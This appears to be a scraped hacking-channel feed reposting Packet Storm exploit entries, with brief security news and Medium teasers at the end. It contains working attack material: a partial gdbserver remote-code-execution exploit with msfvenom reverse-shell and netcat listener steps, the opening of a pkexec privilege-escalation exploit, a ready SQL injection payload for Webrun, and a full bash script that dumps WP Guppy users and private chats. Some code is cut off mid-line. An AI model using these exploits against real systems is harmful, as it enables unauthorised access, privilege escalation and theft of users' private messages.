Exploit Collector
FLEX 1085 Web 1.6.0 HTML Injection

https://4.bp.blogspot.com/-yT3eHciMBDw/WWlvGfUXh9I/AAAAAAAAILU/lYidSj08G0suEfC69x80tZFrj-NYN5F9wCLcBGAs/s1600/h137.png
FLEX 1085 Web version 1.6.0 suffers from an html injection vulnerability.

MD5 | 8fd1b5d7c3d4072ba6635cbe6970446f

Download
# Exploit Title: FLEX 1085 Web 1.6.0 - HTML Injection
# Date: 2021-11-21
# Exploit Author: Mr Empy
# Vendor Homepage: https://www.tem.ind.br/
# Software Link: https://www.tem.ind.br/?page=prod-detalhe&id=94
# Version: 1.6.0
# Tested on: Android
Title:
================
FLEX 1085 Web - HTML Injection

Summary:
================
The FLEX 1085 Web appliance is vulnerable to an HTML injection attack that
allows the injection of arbitrary HTML code.
Severity Level:
================
5.3 (Medium)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Vulnerability Disclosure Schedule:
============================
* October 19, 2021: An email was sent to support at 6:08MP.

* November 20, 2021: I didn't get any response from support.

* November 21, 2021: Vulnerability Disclosure
Affected Product:
================
FLEX 1085 Web v1.6.0
Steps to Reproduce:
================

1. Open your browser and search for your device's IP address (http://
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Samsung NPU (Neural Processing Unit) Memory Corruption

https://2.bp.blogspot.com/-GUn1a49o67Q/WWlu9F-J_rI/AAAAAAAAIJo/HAAKEGfKUXIq4oSJFA9qEBzdRn_AvSgtACLcBGAs/s1600/h113.png
Samsung NPU (Neural Processing Unit) suffers from a memory corruption vulnerability in shared memory parsing.

MD5 | 6afdb4402bb5a568057a8d66184fffac

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
GNU gdbserver 9.2 Remote Command Execution

https://3.bp.blogspot.com/-S_42fggy9lU/WWlvmFk_l6I/AAAAAAAAIRE/4fLLQglySPcuo1eoPxnOCfdodS4kW3PlwCLcBGAs/s1600/hack_img3.png
GNU gdbserver version 9.2 remote command execution exploit.

MD5 | be987b3baff2ae1c37e6c06f438713d3

Download
# Exploit Title: GNU gdbserver 9.2 - Remote Command Execution (RCE)
# Date: 2021-11-21
# Exploit Author: Roberto Gesteira Miñarro (7Rocky)
# Vendor Homepage: https://www.gnu.org/software/gdb/
# Software Link: https://www.gnu.org/software/gdb/download/
# Version: GNU gdbserver (Ubuntu 9.2-0ubuntu1~20.04) 9.2
# Tested on: Ubuntu Linux (gdbserver debugging x64 and x86 binaries)

#!/usr/bin/env python3
import binascii
import socket
import struct
import sys

help = f'''
Usage: python3 {sys.argv[0]} 10.10.10.200:1337
- Attacker's listener -> 10.10.10.100:4444

1. Generate shellcode with msfvenom:
$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.100 LPORT=4444 PrependFork=true -o rev.bin

2. Listen with Netcat:
$ nc -nlvp 4444

3. Run the exploit:
$ python3 {sys.argv[0]} 10.10.10.200:1337 rev.bin
'''
def checksum(s: str) -> str:
res = sum(map(ord, s)) % 256
return f'{res:2x}'
def ack(sock):
sock.send(b'+')
def send(sock, s: str) -> str:
sock.send(f'${s}#{checksum(s)}'.encode())
res = sock.recv(1024)
ack(sock)
return res.decode()
def exploit(sock, payload: str):
send(sock, 'qSupported:multiprocess+;qRelocInsn+;qvCont+;')
send(sock, '!')

try:
res = send(sock, 'vCont;s')
data = res.split(';')[2]
arch, pc = data.split(':')
except Exception:
print('[!] ERROR: Unexpected response. Try again later')
exit(1)

if arch == '10':
print('[+] Found x64 arch')
pc = binascii.unhexlify(pc[:pc.index('0*')])
pc += b'\0' * (8 - len(pc))
addr = hex(struct.unpack('
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Linux Kernel 5.1.x PTRACE_TRACEME pkexec Local Privilege Escalation

https://3.bp.blogspot.com/-S_42fggy9lU/WWlvmFk_l6I/AAAAAAAAIRE/4fLLQglySPcuo1eoPxnOCfdodS4kW3PlwCLcBGAs/s1600/hack_img3.png
Linux kernel version 5.1.x PTRACE_TRACEME pkexec local privilege escalation exploit.

MD5 | 93bf4fd882fc501f02e28d535e89918e

Download
# Exploit Title: Linux Kernel 5.1.x - 'PTRACE_TRACEME' pkexec Local Privilege Escalation (2)
# Date: 11/22/21
# Exploit Author: Ujas Dhami
# Version: 4.19 - 5.2.1
# Platform: Linux
# Tested on:
# ~ Ubuntu 19.04 kernel 5.0.0-15-generic
# ~ Parrot OS 4.5.1 kernel 4.19.0-parrot1-13t-amd64
# ~ Kali Linux kernel 4.19.0-kali5-amd64
# CVE: CVE-2019-13272

// ....
// Original discovery and exploit author: Jann Horn
// https://bugs.chromium.org/p/project-zero/issues/detail?id=1903
// Modified exploit code of: BColes
// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272
// ....
// ~ Uses the PolKit_Exec frontend.
// ~ PolKit_Action is branched.
// ~ Search is optimized.
// ~ Trunks attain search priority upon execution.
// ....
// ujas@kali:~$ gcc exploit_traceme.c -o exploit_traceme
// ujas@kali:~$ ./exploit_traceme
// Welcome to your Arsenal!
// accessing variables...
// execution has reached EOP.
// familiar trunks are been searched ...
// trunk helper found: /usr/sbin/mate-power-backlight-helper
// helper initiated: /usr/sbin/mate-power-backlight-helper
// SUID process is being initiated (/usr/bin/pkexec) ...
// midpid is being traced...
// midpid attached.
// root@kali:/home/ujas#
// ....

#include

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Webrun 3.6.0.42 SQL Injection

https://2.bp.blogspot.com/-y5QhCp_hFKM/WWlvahEOH0I/AAAAAAAAIPA/Q0VQ49Z0hVw4skegRDdSXm3Bk15Ptyg5wCLcBGAs/s1600/h70.png
Webrun version 3.6.0.42 suffers from a remote SQL injection vulnerability.

MD5 | fe308020e86b4d39cb4caae8fd1b39a4

Download
# Exploit Title: Webrun 3.6.0.42 - 'P_0' SQL Injection
# Google Dork: intitle:"Webrun 3.6.0.42"
# Date: 23/11/2021
# Exploit Author: Vinicius Alves
# Vendor Homepage: https://softwell.com.br/
# Version: 3.6.0.42
# Tested on: Kali Linux 2021.3

=-=-=-= Description =-=-=-=
Webrun version 3.6.0.42 is vulnerable to SQL Injection, applied to the P_0
parameter used to set the username during the login process.
=-=-=-= Exploiting =-=-=-=
In the post request, change the P_0 value to the following payload:
121')+AND+5110%3dCAST((CHR(113)||CHR(118)||CHR(118)||CHR(120)||CHR(113))||(SELECT+(CASE+WHEN+(5110%3d5110)+THEN+1+ELSE+0+END))%3a%3atext||(CHR(113)||CHR(98)||CHR(122)||CHR(98)||CHR(113))+AS+NUMERIC)+AND+('AYkd'%3d'AYkd
You will see some information like below:
interactionError('ERRO: sintaxe de entrada é inválida para tipo numeric:
\"qvvxq1qbzbq\"', null, null, null, '
=-=-=-= POC =-=-=-=
If the return has the value 'qvvxq1qbzbq', you will be able to successfully
exploit this.
See an example of the complete POST parameter:
action=executeRule&pType=2&ruleName=GES_FLX_Gerar+Token+Dashboard&sys=GES&formID=8265&parentRID=-1&P_0=121')+AND+5110%3dCAST((CHR(113)||CHR(118)||CHR(118)||CHR(120)||CHR(113))||(SELECT+(CASE+WHEN+(5110%3d5110)+THEN+1+ELSE+0+END))%3a%3atext||(CHR(113)||CHR(98)||CHR(122)||CHR(98)||CHR(113))+AS+NUMERIC)+AND+('AYkd'%3d'AYkd&P_1=pwd


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress WP Guppy 1.1 Information Disclosure

https://1.bp.blogspot.com/-ASAiGIAsbZo/WWlu3lcAbmI/AAAAAAAAII0/K9TarDW1B-wz0w-5-5rrjX8jWsow7QyegCLcBGAs/s1600/h100.png
WordPress WP Guppy plugin version 1.1 suffers from a WP-JSON API sensitive information disclosure vulnerability.

MD5 | 06cdd39aea5c392eceebd821d21f9fb9

Download
# Exploit Title: Wordpress Plugin WP Guppy 1.1 - WP-JSON API Sensitive Information Disclosure
# Exploit Author: Keyvan Hardani
# Date: 22/11/2021
# Vendor Homepage: https://wp-guppy.com/
# Version: up to 1.1
# Tested on: Kali Linux - Windows 10 - Wordpress 5.8.x and apache2
# Usage ./exploit.sh -h

#!/bin/bash

Help()
{
# Display Help
echo "Usage"
echo
echo "Wordpress Plugin WP Guppy - A live chat - WP_JSON API Sensitive Information Disclosure"
echo
echo "Option 1: Get all users ( ./exploit.sh 1 domain.com)"
echo "Option 2: Send message from / to other users ( ./exploit.sh 2 domain.com 1493 1507 ) => Senderid=1493 & Receiverid=1507"
echo "Option 3: Get the chats between users ( ./exploit.sh 3 domain.com 1507 1493) => Receiverid=1493 & Userid= 1493"
echo "-h Print this Help."
echo
}

while getopts ":h" option; do
case $option in
h) # display Help
Help
exit;;
esac
done

if [ $1 == 1 ]
then
curl -s --url "https://$2/wp-json/guppy/v2/load-guppy-users?userId=1&offset=0&search=" | python -m json.tool
fi

if [ $1 == 2 ]
then
curl -s -X POST --url "https://$2/wp-json/guppy/v2/send-guppy-message" --data '{"receiverId":"'$3'","userId":"'$4'","guppyGroupId":"","chatType":1,"message":"test","replyTo":"","latitude":"","longitude":"","messageType":0,"messageStatus":0,"replyId":"","timeStamp":1637583213,"messageSentTime":"November 22, 2021","metaData":{"randNum":5394},"isSender":true}' -H 'Content-Type: application/json'| python -m json.tool
fi
if [ $1 == 3 ]
then
curl -s --url "https://$2/wp-json/guppy/v2/load-guppy-user-chat?offset=0&receiverId=$3&userId=$4&chatType=1" | python -m json.tool
fi

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Don't Help Cybercriminals Dash With Your Customers' Cash This Black Friday

Each security step, no matter how small, can have great impact in detecting and deterring cyber theft.

Dark Reading: Attacks/Breaches
How Sun Tzu's Wisdom Can Rewrite the Rules of Cybersecurity

The ancient Chinese military strategist Sun Tzu would agree: The best defense is to avoid an attack in the first place.

Common Bugs found in File Upload Functions
https://mikekitckchan.medium.com/common-bugs-found-in-file-upload-functions-fa9990ab404a?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

File upload is a function commonly founded in web app. You may find it in social network app, job seeking app etc. Also, it is one of the…Continue reading on Medium » (https://mikekitckchan.medium.com/common-bugs-found-in-file-upload-functions-fa9990ab404a?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
TryHackMe: Mnemonic - Writeup

https://cdn-images-1.medium.com/max/1220/1*OX5OZFYwmwf1ZSmvtx39bA.png
Hello! This is a writeup for the room Mnemonic from TryHackMe. The room is medium-difficulty rated. Let’s begin.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Common Bugs found in File Upload Functions

https://cdn-images-1.medium.com/max/2600/0*6RGQkuXZlMg9un54
File upload is a function commonly founded in web app. You may find it in social network app, job seeking app etc. Also, it is one of the…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video